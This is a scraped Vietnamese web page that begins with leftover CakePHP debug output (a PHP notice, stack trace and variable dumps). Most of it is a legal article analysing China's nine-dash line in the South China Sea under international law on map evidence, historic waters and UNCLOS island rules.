=> array( 'id' => '3', 'name' => 'Giới thiệu', 'slug' => 'gioi-thieu' ) ) $dm_c2 = array() $cap2 = array( 'Catproduct' => array( 'id' => '74', 'name' => 'Sổ sách, báo biểu khí tượng thủy văn', 'parent_id' => '2', 'alias' => 'so-sach-bao-bieu-khi-tuong-thuy-van', 'images' => null, 'lft' => '76', 'rght' => '77', 'pos' => '27', 'status' => '1', 'title_seo' => 'Sổ sách, báo biểu khí tượng thủy văn', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-07-06', 'modified' => '2019-07-06', 'slug' => 'so-sach-bao-bieu-khi-tuong-thuy-van', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) $dm_c3 = array()include - APP/View/Elements/menu.ctp, line 23 View::_evaluate() - CORE/Cake/View/View.php, line 920 View::_render() - CORE/Cake/View/View.php, line 883 View::element() - CORE/Cake/View/View.php, line 424 include - APP/View/Layouts/home.ctp, line 107 View::_evaluate() - CORE/Cake/View/View.php, line 920 View::_render() - CORE/Cake/View/View.php, line 883 View::renderLayout() - CORE/Cake/View/View.php, line 539 View::render() - CORE/Cake/View/View.php, line 483 Controller::render() - CORE/Cake/Controller/Controller.php, line 957 ProductController::chitiet() - APP/Controller/ProductController.php, line 135 ReflectionMethod::invokeArgs() - [internal], line ?? Controller::invokeAction() - CORE/Cake/Controller/Controller.php, line 485 Dispatcher::_invoke() - CORE/Cake/Routing/Dispatcher.php, line 186 Dispatcher::dispatch() - CORE/Cake/Routing/Dispatcher.php, line 161 [main] - APP/webroot/index.php, line 92
Notice (8): Undefined index: name_eng [APP/View/Elements/menu.ctp, line 23]Code Context<div class="accordion-heading"><a class="accordion-toggle" <?php if(!empty($dm_c2)){?>data-toggle="collapse" data-parent="#accordion2" href="#collapse<?php echo $cap1['Catproduct']['id'];?>" title="<?php echo $cap1['Catproduct']['name'.LANGUAGE];?>"<?php }else{?>href="<?php echo DOMAIN.$cap1['Catproduct']['slug'];?>"<?php }?>><?php echo $cap1['Catproduct']['name'.LANGUAGE];?>$viewFile = '/home/quangtayqh/domains/quangtayqht.vn/public_html/app/View/Elements/menu.ctp' $dataForView = array( 'cat12' => array( 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), 'title_for_layout' => 'Chấm và vạch trong Biển Đông: nhìn nhận từ Luật chứng cứ bản đồ', 'tinmoiup' => array( (int) 0 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 1 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 2 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 3 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 4 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 5 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 6 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 7 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 8 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 9 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ) ), 'tinlq' => array( (int) 0 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 1 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 2 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 3 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 4 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 5 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 6 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 7 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 8 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 9 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ) ), 'detailNews' => array( 'Post' => array( 'id' => '418', 'name' => 'Chấm và vạch trong Biển Đông: nhìn nhận từ Luật chứng cứ bản đồ', 'code' => null, 'alias' => 'cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<br /> <img alt="" src="/admin/webroot/upload/image/images/Chấm và vạch trong Biển Đông.jpg" style="width: 250px; height: 182px;" /><br /> <br /> <div> Ngày 07 tháng 5 năm 2009, Cộng hòa Nhân dân Trung Hoa (CHNDTH) phản đối đệ trình của Việt Nam và đệ trình chung của Malaysia-Việt Nam gửi Ủy ban Ranh giới thềm lục địa (CLCS). Để hậu thuẫn cho các yêu sách của mình, Trung Quốc (TQ) đã kèm một bản đồ có vẽ một đường hình chữ U nhiều chấm bao trùm phần lớn Biển Đông vào công hàm phản đối.</div> <div> Bài nghiên cứu này là đưa ra một phân tích về mặt pháp lý quốc tế bản đồ nói trên. </div> <div> </div> <div> </div> <div> I. BẢN ĐỒ TRUNG QUỐC</div> <div> </div> <div> A. Nền tảng</div> <div> </div> <div> Nguồn gốc của đường chữ U bắt đầu từ các hoạt động của Uỷ ban thẩm tra Bản đồ Đất và Nước của Trung Hoa Dân Quốc (THDQ), thành lập vào năm 1933. Trách nhiệm của Uỷ ban này bao gồm việc khảo sát và đặt tên các đảo ở Biển Đông và in ra các bản đồ cho thấy các đảo này thuộc chủ quyền của TQ. [1]</div> <div> </div> <div> Đường nhiều chấm được chuẩn nhận chính thức đầu tiên phát xuất từ sau cuộc chiến tranh thế giới thứ hai. Tờ bản đồ đang bàn do Sở lãnh thổ và Ranh giới Bộ Nội vụ THDQ in ra vào tháng 12 năm 1946. [2] Trên bản đồ này, đường chữ U gồm 11 vạch liên tục bao kín phần lớn Biển Đông và các thể địa lý giữa đại dương. [3] Bắt đầu từ ranh giới Trung-Việt, hai vạch đầu tiên đi qua Vịnh Bắc Bộ. Vạch thứ ba và thứ tư của đường này phân cách bờ biển Việt Nam với các quần đảo Hoàng Sa và Trường Sa, tương ứng. Vạch thứ năm và thứ sáu trên đường đứt đoạn đi qua Bãi cạn James (4° N), thể địa lý biển cực nam mà TQ và THDQ tuyên bố chủ quyền. Di chuyển theo hướng đông bắc, hai vạch tiếp theo nằm giữa quần đảo Trường Sa phía này, và Borneo (Indonesia, Malaysia, và Brunei) và Philippines (tỉnh Palawan), phía kia. Vạch thứ chín, thứ mười, và thứ mười một phân cách Philippines với THDQ. [4] Sau khi loại Quốc dân Đảng khỏi Trung Hoa đại lục, CHNDTH cũng phát hành bản đồ vẽ với cùng các vạch trên. [5] Như vậy, từ đó trở đi, ở hai phía của eo biển Đài Loan đều thấy có bản đồ đường chữ U xuất hiện. Một trong thay đổi đặc biệt cần lưu ý: từ năm 1953, bản đồ Biển Đông TQ chỉ vẽ 9 thay vì 11 vạch (2 vạch ở Vịnh Bắc Bộ đã bị xoá). [6]</div> <div> </div> <div> B. Công hàm TQ gửi Tổng thư ký LHQ (ngày 07 tháng 5 năm 2009)</div> <div> </div> <div> Ở cấp độ quốc tế, tranh cãi xung quanh đường 9 chấm đã rộ lên trước Liên Hợp Quốc (LHQ) vào năm 2009 liên quan tới đệ trình chung của Malaysia-Việt nam[7] và đệ trình riêng của Việt Nam[8] cho CLCS. CLCS đưa ra khuyến nghị cho các nước ven biển có nhu cầu xác lập ranh giới bên ngoài thềm lục địa vượt quá 200 hải lý (nm). [9] Thời gian đệ trình của các chính phủ Việt Nam và Malaysia có thể được giải thích bởi thời hạn chót của họ là vào tháng 5 năm 2009. [10] Để đáp trả các đệ trình này, trong cùng ngày TQ đã chính thức gửi Tổng thư ký LHQ hai công hàm riêng biệt có kèm bản đồ đó [11], bằng cách này lần đầu tiên xác nhận đường chữ U, ở cấp quốc tế trong một tranh chấp cấp nhà nước, [12] với phản ứng giống hệt nhau sau đây:</div> <div> </div> <div> TQ có chủ quyền không thể tranh cãi đối với các đảo ở Biển Đông và các vùng biển lân cận, và được hưởng quyền chủ quyền và quyền tài phán trên các vùng biển liên quan cũng như biết đáy biển và lòng đất dưới biển (xem bản đồ kèm theo). Lập trường nêu trên đượcChính phủ TQ nhất quán thể hiện, và được cộng đồng quốc tế biết đến rộng rãi. [13]</div> <div> </div> <div> Đọc Công hàm này, một học giả Đài Bắc suy ra một số khẳng định của TQ:</div> <div> </div> <div> 1. Chủ quyền đối với các đảo ở Biển Đông và vùng biển tiếp giáp chúng (bản đồ kèm theo cho thấy các thể địa lý biển sau đây trong đường đứt khúc theo tên: quần đảo Tây Sa, [14] quẩn đảo Nam Sa, [15] quần đảo Trung Sa, [16] và quẩn đảo Đông Sa[17]).</div> <div> </div> <div> 2. Quyền chủ quyền và quyền tài phán đối với vùng biển liên quan bao gồm đáy biển và tầng đất dưới đáy biển của chúng.</div> <div> </div> <div> 3. Tính nhất quán của vị thế chính thức của TQ về các yêu sách biển và lãnh thổ ở Biển Đông.</div> <div> </div> <div> 4. Sự nhận biết của các nước bên thứ ba liên quan đến yêu sách của TQ về biển và lãnh thổ ở Biển Đông.</div> <div> </div> <div> 5. Đường chữ U mô tả những yêu sách của TQ về chủ quyền, quyền chủ quyền và quyền tài phán. [18]</div> <div> </div> <div> Tuy nhiên, dường như công bằng để nói rằng giải thích chính thức của TQ trích dẫn trên, theo như ý nghĩa chính xác của bản đồ đính kèm, vẫn còn là mơ hồ. Cụ thể, bản chất pháp lý chính xác của các khu vực biển bao bọc bởi đường 9-chấm-vẫn còn mờ mịt, mặc dù có việc "làm rõ" của TQ. Điểu này được thể hiện rõ ràng bởi các phản ứng đang dạng mà họ gây ra tại các hội nghị chuyên ngành được tổ chức kể từ đó. [19]</div> <div> </div> <div> Theo hiểu biết của chúng tôi, cho đến nay chỉ có một nước là Philippines thực hiện nỗ lực giải thích.[20] TQ nhanh chóng trả lời với một công hàm mới, một lần nữa công hàm này chẳng làm cho rõ ràng hơn bao nhiêu. Trong công hàm mới này, đề ngày 14 tháng 4 năm 2011, TQ nêu rằng “chủ quyền và các quyền và quyền tài phán liên quan của TQ trong Biển Đông” được hỗ trợ bằng “chứng cứ lịch sử và pháp lý phong phú”'.[21] Điều rõ ràng trong tài liệu ngoại giao mới này là sự thiếu vắng của bất kỳ đề cập nào tới bản đồ trên. Từ sự thiếu vắng này, chúng ta có thể suy ra sự từ bỏ đường 9 chấm hay không? Chắc chắn, không thể giả định có một sự quay ngoắt (volte-face) một cách hời hợt. Hơn nữa, dù họ đang chủ trương làm dịu đi các quan ngại về tự do hàng hải ở Biển Đông, [22] ví như can thiệp gần đây của TQ đối với tàu thuyền Việt Nam và Philippines mà thôi cho thấy các yêu sách quá đáng của họ như trên bản đồ vẫn còn nguyên vẹn.</div> <div> </div> <div> II. CÁC YÊU SÁCH</div> <div> </div> <div> Công hàm ngày 07 tháng 5 năm 2009 của TQ, dù là có thể mới trong các khía cạnh vể biển của nó nhưng chỉ lặp lại những khẳng định tương tự như đã đưa ra trong quá khứ liên quan đến các thể địa lý. [23] Hơn nữa, nhiều học giả chủ yếu của TQ và Đài Loan đã đề ra các cách giải thích riêng của họ về đường 9 chấm. Giữa sự rối rắm này, người ta chỉ có thể chắc chắn một điều là các khẳng định TQ về Biển Đông không vượt quá ranh giới này. [24] Những quan điểm và giá trị pháp lý của các khẳng định này sẽ được thảo luận sau đây.</div> <div> </div> <div> A. Yêu sách lịch sử</div> <div> </div> <div> 1. Thực hành Nhà nước (State practice)</div> <div> </div> <div> Mặc dù các khẳng định kiểu này dường như không là nét đặc biệt trong chính sách chính thức của TQ, Đài Bắc có truyền thống ủng hộ lập trường này đối với đường chữ U khá mạnh, như có thể thấy trong một loạt các tuyên bố. Ví dụ, trong năm 1991 tại một trong những Hội thảo về Biển Đông, một đại diện Văn phòng Kinh tế và Thương mại Đài Bắc ở Jakarta (Indonesia) tuyên bố:</div> <div> </div> <div> Biển Đông là một vùng nước thuộc thẩm quyền của THDQ. THDQ có quyền và đặc quyền trong Biển Đông. Bất kỳ hoạt động nào trong Biển Đông phải có sự chấp thuận của Chính phủ THDQ. [25]</div> <div> </div> <div> Hướng dẫn Chính sách cho Biển Đông năm 1993 (chuẩn nhận bởi Bộ trưởng Hành Chánh) lưu ý rằng:</div> <div> </div> <div> Trên cơ sở lịch sử, địa lý, luật pháp quốc tế, và nhiều sự kiện, quần đảo Trường Sa, quần đảo Hoàng Sa, bãi cạn Macclesfield, và quần đảo Pratas luôn là phần lãnh thổ cố hữu của THDQ. Chủ quyền của nước THDQ đối với chúng không còn chút nghi ngờ nào. Khu vực Biển Đông trong ranh giới vùng nước lịch sử là khu vực biển thuộc thẩm quyền của nước THDQ, THDQ sở hữu tất cả các quyền và lợi ích trong đó. [26]</div> <div> </div> <div> Trong năm 1994, Bộ trưởng Bộ Hành Chánh, Trương Kim Ngọc (Chang King-yu), nói rằng “các vùng biển được bao bọc bởi đường chữ U ở Biển Đông là vùng nước lịch sử của chúng ta và THDQ được hưởng tất cả các quyền trong đó” (nhấn mạnh thêm). [27]</div> <div> </div> <div> Chính sách của Đài Bắc được suy luận xa hơn từ các phản đối đã thực hiện chống lại cách ứng xử của các nước ven biển trong khu vực. Đáp trả với việc Malaysia chiếm đóng hai thể địa lý tại quần đảo Trường Sa và việc Philippines quyết địnhsáp nhập bãi cát ngầm Scarborough trên bản đồ của họ, Đài Bắc tuyên bố:</div> <div> </div> <div> Biển Đông là một vùng nước của THDQ. THDQ có tất cả các quyền và đặc quyền trong vùng Biển Đông. Bất kỳ hoạt động nào (kể cả việc thảo luận về hợp tác chung hoặc Quy tắc ứng xử, vv) trong Biển Đông phải có sự chấp thuận của Chính phủ THDQ. (nhấn mạnh thêm) [28]</div> <div> </div> <div> Một số chuyên gia đã cóp nhặt nhiều lập luận pháp lý cho tuyên bố mong manh này. [29] Ví dụ, Triệu Quốc Tài (Guocai Zhao) nhận xét:</div> <div> </div> <div> TQ sở hữu quyền lịch sử các hòn đảo, đá ngầm, bãi cát ngầm, các bãi cạn, và các vùng nước trong đường 9 chấm. Biển Đông được coi là vùng nước lịch sử của TQ, điều đó được thừa nhận phổ quát vào thời điểm đó. Cho đến nay điều này đã kéo dài nửa thế kỷ. [30]</div> <div> </div> <div> 2. Phân tích pháp lý</div> <div> </div> <div> Việc xem xét các bài viết học thuật về các tuyên bố lịch sử liên quan đến các khu vực biển làm phát sinh rất nhiều nhầm lẫn về thuật ngữ. Các khái niệm thích hợp như quyền lịch sử / sở hữu lịch sử, các vùng nước lịch sử, và vịnh lịch sử không dễ dàng phân biệt và làm sáng tỏ. [31] Để tránh việc tìm hiểu kéo dài không cần thiết và phần nào thừa thãi về sự khác biệt giữa các quyền lịch sử và sở hữu lịch sử, chỉ cần nói rằng “quyền lịch sử” là chủng (genus) mà theo đó người ta có thể đặt các loại (species) “vùng nước lịch sử” vào. Tương tự, “vịnh lịch sử” là một loại “vùng nước lịch sử”. [32] Trong bối cảnh của đường 9 chấm, cách ứng xử của Đài Bắc dường như bao hàm sự công nhận các vùng nước lịch sử liên quan đến một phần chủ yếu của Biển Đông.</div> <div> </div> <div> Không có định nghĩa được chấp nhận rộng rãi về các vùng nước lịch sử, nhưng theo cách hiểu rộng rãi, nó biểu thị các quyền dành cho một nước ven biển đối với một hoặc nhiều khu vực biển mà nước đó bình thường sẽ không được hưởng. Phạm vi các quyền đi cùng với vùng nước lịch sử có thể khác nhau đáng kể. Các điều kiện pháp lý cho việc thụ đắc các vùng nước lịch sử đã được xem xét trong một nghiên cứu năm 1962 do Văn phòng Ban thư ký Liên Hợp Quốc của Vụ Pháp chế (OLA) thực hiện theo yêu cầu của Uỷ ban pháp luật quốc tế. [33] Theo quan điểm của OLA:</div> <div> </div> <div> Có vẻ có một sự nhất trí chung nhất rằng khi xác định liệu một nước có quyền sở hữu lịch sử đối với một khu vực biển hay không phải xem xét tới ít nhất ba yếu tố. Những yếu tố này là: (1) việc thực thi thẩm quyền của nước yêu sách quyền lịch sử đối với khu vực đó (2) tính liên tục của việc thực thi thẩm quyền (3) thái độ của các nước khác. [34]</div> <div> </div> <div> Đài Bắc lẫn TQ đều không đáp ứng các tiêu chí này cho vấn đề đó. Điều kiện (1) và (2) đòi hỏi nước có yêu sách phải thực thi thẩm quyền thông qua các hành vi thể hiện chủ quyền ở mức đủ thường xuyên và có hiệu quả. Liên quan tới khu vực họ yêu sách, việc thể hiện thẩm quyền của họ cùng lắm chỉ có thể nói là ở mức không thường xuyên. Việc tự do đánh bắt và đi lại của các nước khác vẫn không bị cản trở. [35] Do đó, không yêu sách lịch sử nào có thể thực hiện ở đây. Các đòi hỏi lý thuyết cần để thoả mãn điều kiện (3) là không chắc chắn. Về cơ bản, việc thảo luận xoay quanh vấn đề liệu các nước khác có cần phải ngầm bằng lòng với việc thực hiện chủ quyền của TQ trên Biển Đông hay liệu việc họ không có bất kỳ phản ứng nào là đủ hay không. [36] Nhưng dù theo quan điểm nào, cả hai dường như đều đồng ý rằng sự phản đối của các nước khác có thể ngăn chặn việc thực thi chủ quyền hòa bình và liên tục, và điều này đích xác là những gì đã xảy ra đối với Biển Đông (xem phần IV-B).</div> <div> </div> <div> Một số người đã vặn lại rằng tuyên bố phải được xem xét dưới ánh sáng của các quy tắc luật quốc tế đã tồn tại khi bản đồ đường chữ U được vẽ ra, tức là năm 1946 (cái gọi là học thuyết của luật liên thời gian [intertemporal law]). [37] Điều này là khá khác thường, vì cách tiếp cận này chỉ làm yếu thêm một luận điểm vốn đã không thuyết phục. Vào thời điểm đó, bề rộng của lãnh hải hợp pháp chỉ là 3 hải lý, khiến cho các yêu sách lịch sử càng thêm quá đáng hơn. [38] Với thực tế rằng các vùng nước lịch sử thường liên quan đến vịnh hoặc một dải lãnh hải, [39] do đó không có gì ngạc nhiên khi nhận thấy một chuyên luận gần đây về vùng nước lịch sử không thấy cần thiết để đề cập tới yêu sách lịch sử của đường 9 chấm. [40] Hơn nữa, ngay cả khi vì mục đích lập luận người ta nhắm tới giả thuyết cho rằng TQ có thể thực hiện một yêu sách lịch sử lớn chưa từng có (cái không có –quod non) thì cũng nên nhớ rằng các yêu sách lịch sử không tạo ra một chế độ liên quan tới mọi nước (erga omnes), mà là phụ thuộc vào sự công nhận tường minh hay hàm ý trên tầm mức quốc gia như một tác giả mới đây đã nhấn mạnh. [41]</div> <div> </div> <div> Một lưu ý cuối cùng, việc sử dụng cách gọi “Biển Nam Trung Hoa" không có ý trao chủ quyền lịch sử cho TQ. [42] Theo luật pháp quốc tế, việc đặt tên đơn thuần một khu vực không thiết lập chủ quyền đối với khu vực đó. [43] Tên này đã bị các quốc gia có liên quan phản đối mạnh mẽ, trong đó có Việt Nam. [44] Bản đồ nước ngoài dùng tên Biển Nam Trung Hoa chỉ đơn giản là để phù hợp với cách gọi tên do Tổ chức Thủy văn Quốc tế về Ranh giới các Đại dương và biển công bố (1953), cách gọi tên đó “không có bất kỳ ý nghĩa chính trị nào”. [45] Vì thế việc lựa chọn từ ngữ này về phần các nước phương Tây không có hàm ý nhìn nhận chủ quyền của TQ. Ngoài ra, về mặt lịch sử người TQ cũng dùng nhiều tên gọi khác nhau cho vùng biển này như là “Biển Giao Chỉ” (đời Tống và Minh) và “Biển Nam” (đời Thanh (1905), THDQ (1913) và CHNDTH (1952 và 1975)). [46]</div> <div> </div> <div> 3. Những diễn biến mới</div> <div> </div> <div> Những diễn biến gần đây có thể làm cho sự thảo luận dễ dàng hơn. Thật vậy, rất có thể là Đài Bắc đang từ bỏ luận điểm lâu dài của họ. Các tuyên bố trong những năm gần đây gợi cho thấy một sự thay đổi trong quan điểm của họ, đưa chính sách của Đài Loan về vấn đề này cùng hướng với chính sách của TQ. Việc đề cập tới quyền / vùng nước lịch sử vắng đi trong khi trọng tâm dường như là chủ quyền lãnh thổ đối với các đảo và lãnh hải của chúng. [47] Ví dụ gần đây nhất là tuyên bố hồi tháng 5 năm 2009 phản đối các hồ sơ củaViệt Nam và Malaysia - Việt Nam gửi cho CLCS:</div> <div> </div> <div> Chính phủ THDQ nhắc lại rằng quần đảo Điếu Ngư Đài (Diaoyutai), quần đảo Nam Sa (Trường Sa), quần đảo Tây Sa (quần đảo Hoàng Sa), quần đảo Trung Sa (Macclesfield) và quần đảo Đông Sa (Pratas Islands) cũng như các vùng biển xung quanh là cácvùng lãnh thổ và các vùng biển cố hữu của THDQ dựa trên các quyền sở hữu chủ quyền không thể chối cãi biện minh bằng các cơ sở lịch sử, địa lý và luật quốc tế. Theo luật quốc tế, THDQ được hưởng tất cả các quyền và lợi ích đối với các quần đảo nói trên, cũng như các vùng biển xung quanh và đáy biển và lòng đất dưới đáy của chúng. [48]</div> <div> </div> <div> B. Các yêu sách đảo</div> <div> </div> <div> 1. Cách giải thích 1: Tất cả các thể địa lý trong đường chữ-U là lãnh thổ Đài Bắc/TQ</div> <div> </div> <div> Người đề xuất trước nhất cách giải thích yêu sách lãnh thổ này, nhà ngoại giao Indonesia Hasji Djalal, trong khi thừa nhận tính chất “khó hiểu" của đường chữ U, đã nêu các tìm hiểu của mình dựa trên việc phân tích cẩn thận các tuyên bố của TQ, đặc biệt là những tuyên bố hình thành trong cuộc họp của Tổ chức Hàng không dân dụng (ICAO) quốc tế năm 1979. [49]</div> <div> </div> <div> Smith ghi nhận rằng các thể địa lý giữa đại dương nằm bên trong “các vạch phân bổ này” là những thể địa lý mà TQ tuyên bố chủ quyền. Ông nhấn mạnh rằng các dấu vạch này không gợi ra bất kỳ yêu sách ranh giới biển nào và sẽ không có chút tác động nào đối với việc giải quyết tranh chấp biên giới biển. [50]</div> <div> </div> <div> Dzurek cũng tin tưởng rằng đường chữ U không phân ranh các biên giới thuộc thẩm quyền trên biển của TQ, với việc tin tưởng này dựa trên một lập luận về bản đồ học, cụ thể là, sự kiện rằng các dấu vạch chia cắt Malaysia và quần đảo Natuna đi chệch khỏi đường phân giới thềm lục địa Indonesia-Malaysia đã thoả thuận. [51]</div> <div> </div> <div> Như đã nói ở trên, việc thực hành nhà nước hiện nay của Đài Bắc dường như chứng minh một sự chuyển đổi về phía vị thế này.</div> <div> </div> <div> Câu hỏi tinh tế về các đảo trong Biển Đông thuộc nước nào, đòi hỏi phải phân tích nghiêm ngặt một ma trận sự kiện phức tạp và ứng dụng các khái niệm pháp lý đa dạng (chẳng hạn như phát hiện, ngày tới hạn [ngày mà các hành động của các bên liên quan thực hiện sau ngày đó sẽ không được toà xét đến-ND] , và tính hiệu quả), sẽ đưa chúng ta quá xa khỏi chủ đề hiện tại. [52] Với điều này trong trí, có lẽ thích hợp để nhấn mạnh ở đây rằng bản đồ TQ không thể tạo thành một quyền sở hữu lãnh thổ hợp lệ đối với các đảo cho từng bản đồ. Trong vụ Burkina Faso / Mali, Tòa Công lý Quốc tế (ICJ) đưa ra lời giải thích “dứt khoát”[53] về giá trị chứng cứ của bằng chứng bản đồ:</div> <div> </div> <div> Các bản đồ chỉ đơn thuần tạo thành thông tin, chúng thay đổi về tính chính xác theo từng trường hợp; và bằng sự tồn tại của một mình chúng, chúng không có thể tạo thành một quyền sở hữu lãnh thổ, nghĩa là, một tài liệu được luật quốc tế phú cho hiệu lực pháp lý nội tại cho mục đích xác lập các quyền lãnh thổ. Tất nhiên, trong một số trường hợp, bản đồ có thể có được hiệu lực pháp luật như vậy, nhưng trong những trường hợp như thế hiệu lực pháp luật không phát sinh duy nhất từ giá trị nội tại của chúng mà chính vì do bản đồ đó thuộc về loại biểu hiện vật lý về ý muốn của một nước hoặc các nước có liên quan. Ví dụ, trường hợp khi các bản đồ được kèm theo một văn bản chính thức mà chúng là một phần không thể thiếu. Ngoại trừ trường hợp xác định rõ ràng này, các bản đồ chỉ là bằng chứng bên ngoài có độ tin cậy khác nhau hay không đáng tin cậy, chúng có thể được sử dụng, cùng với các bằng chứng khác loại gián tiếp, để thiết lập hoặc tái thiết lại các sự kiện thật. [54]</div> <div> </div> <div> Ý kiến nhân tiện (obiter dictum) này đã được trích dẫn một cách đồng tình trong một loạt các trường hợp tranh cãi. [55] Một số người đã đọc đoạn văn này như một bác bỏ “dứt khoát” đối với khái niệm về quyền sở hữu theo bản đồ. [56] Trong mọi trường hợp, Tòa án dường như còn để mở một cửa sổ nhỏ[57] (“các bản đồ … kèm theo một văn bản chính thức mà chúng tạo thành một phần không thể thiếu'”) đề cập đến nhưng công cụ như các hiệp ước[58] và do đó không áp dụng được trong trường hợp này.</div> <div> </div> <div> 2. Cách giải thích 2: Đường chữ U là đường ranh giới của vùng đặc quyền kinh tế (EEZ) được tạo ra từ các đảo ở Biển Đông</div> <div> </div> <div> Một số học giả TQ dường như ủng hộ thuyết này, mặc dù lý luận của họ hơi khác nhau và thường liên kết với thuyết các quyền / vùng biển lịch sử. Triệu Lý Hải (Zhao Lihai) viết:</div> <div> </div> <div> Đường chín chấm chỉ rõ lãnh thổ và chủ quyền của TQ về bốn quần đảo trong Biển Đông và khẳng định ranh giới biển của các đảo của TQ ở Biển Đông mà các đảo này đã được bao gồm trong phạm vi TQ ít nhất từ thế kỷ 15. Tất cả các hải đảo và các vùng nước lân cận trong đường biên giới phải thuộc thẩm quyền và kiểm soát của TQ.[59]</div> <div> </div> <div> Kiều Vĩnh Khoa (Jiao Yongke) nêu:</div> <div> </div> <div> Các khu vực nước bên trong đường biên giới ở Biển Đông của TQ tạo thành các vùng nước mà TQ có quyền sở hữu lịch sử đối với chúng, chúngtạo thành vùng đặc quyền kinh tế đặc biệt, hay vùng đặc quyền kinh tế lịch sử của TQ, do đó phải có địa vị tương tự như vùng đặc quyền kinh tế theo các quy định của UNCLOS [Công ước LHQ về Luật Biển]. [60]</div> <div> </div> <div> Cuối cùng, Trâu Khoa Uyển (Zou Keyuan) tin rằng TQ đã khẳng định một tuyên bố lịch sử, nhưng tuyên bố này là “tương đương với tình trạng pháp lý của vùng đặc quyền kinh tế hay thềm lục địa”. [61]</div> <div> </div> <div> Cách giải thích thứ hai này về các vạch liên tục là phụ thuộc hoàn toàn vào cách đầu tiên. Nó suy từ nguyên tắc “đất thống trị biển” mà cách tiếp cận này nhất thiết phải dựa trên tiền đề là TQ có chủ quyền đối với các thể địa lý ở Biển Đông. [62] Những người ủng hộ thuyết này xem đường chữ U như một ranh giới trên biển nối các ranh giới của vùng đặc quyền kinh tế hoặc thềm lục địa phát sinh từ các đảo. Một loạt các câu hỏi nẩy lên. Vấn đề gai góc đầu tiên liên quan đến việc phân định vùng biển đó. Suy cho cùng, một nước ven biển không thể chỉ đơn giản áp đặt việc phân giới lên các nước khác một cách đơn phương. Sự hợp lệ của hành động như vậy sẽ phụ thuộc vào sự tuân thủ các chuẩn mực luật pháp quốc tế. [63]</div> <div> </div> <div> Hơn nữa, còn có vấn đề là các thể địa lý biển có thể tạo ra các khu vực biển (bất chấp ai là chủ sở hữu hợp pháp) hay không? Tất cả phụ thuộc vào việc thể địa lý đó có hội đủ điều kiện là đảo theo nghĩa pháp lý hay không. Công ước 1982[64] có chứa một điều khoản cho mục đích này, Điều 121, nêu như sau:</div> <div> </div> <div> 1. Một hòn đảo là một khu đất hình thành tự nhiên, bao quanh bởi nước, nằm bên trên mặt nước khi triều cao.</div> <div> </div> <div> 2. Ngoại trừ như quy định tại mục 3, lãnh hải, vùng tiếp giáp, vùng đặc quyền kinh tế và thềm lục địa của một đảo được xác định theo quy định của Công ước này áp dụng cho lãnh thổ đất liền khác.</div> <div> </div> <div> 3. Đá không thể duy trì sự cư trú của con người hay có đời sống kinh tế của riêng mình sẽ không có vùng đặc quyền kinh tế hay thềm lục địa. [65]</div> <div> </div> <div> Do đó, các bề mặt có đất trong vùng Biển Đông sẽ tạo ra thêm các vùng đặc quyền kinh tế (và thềm lục địa) nếu chúng đáp ứng các yêu cầu nghiêm ngặt nêu trên. [66] Do đó, tính chất đảo của một loạt các tính năng hàng hải tại Biển Đông đã bị rơi vào nghi vấn. Oude Elferink thận trọng nêu rằng “ít ra có một số đảo trong Biển Đông có vùng đặc quyền kinh tế và thềm lục địa. Các thể địa lý có tính đảo khác gần như chắc chắn có thể được coi là rơi vào vòng khống chế của Điều 121 (3) [đá].” [67] Nếu biết ra rằng những bề mặt đất đó không phải là đảo, (ít nhất là một phần) thì cách giải thích vùng đặc quyền kinh tế hay thềm lục địa của đường chữ U là không có giá trị pháp lý.</div> <div> </div> <div> Về mặt này, rất đáng để đề cập ngắn gọn đến các bước do TQ mới thực hiện ở cấp độ quốc tế ủng hộ di sản chung của loài người bằng cách cố gắng bảo vệ khu vực này chống lại sự xâm nhập không chính đáng của một vài nước. [68] Về thực chất, các can thiệp này nhằm mục đích chống lại đệ trình của Nhật Bản cho CLCS vể đảo Okinotorishima ở Thái Bình Dương. [69] 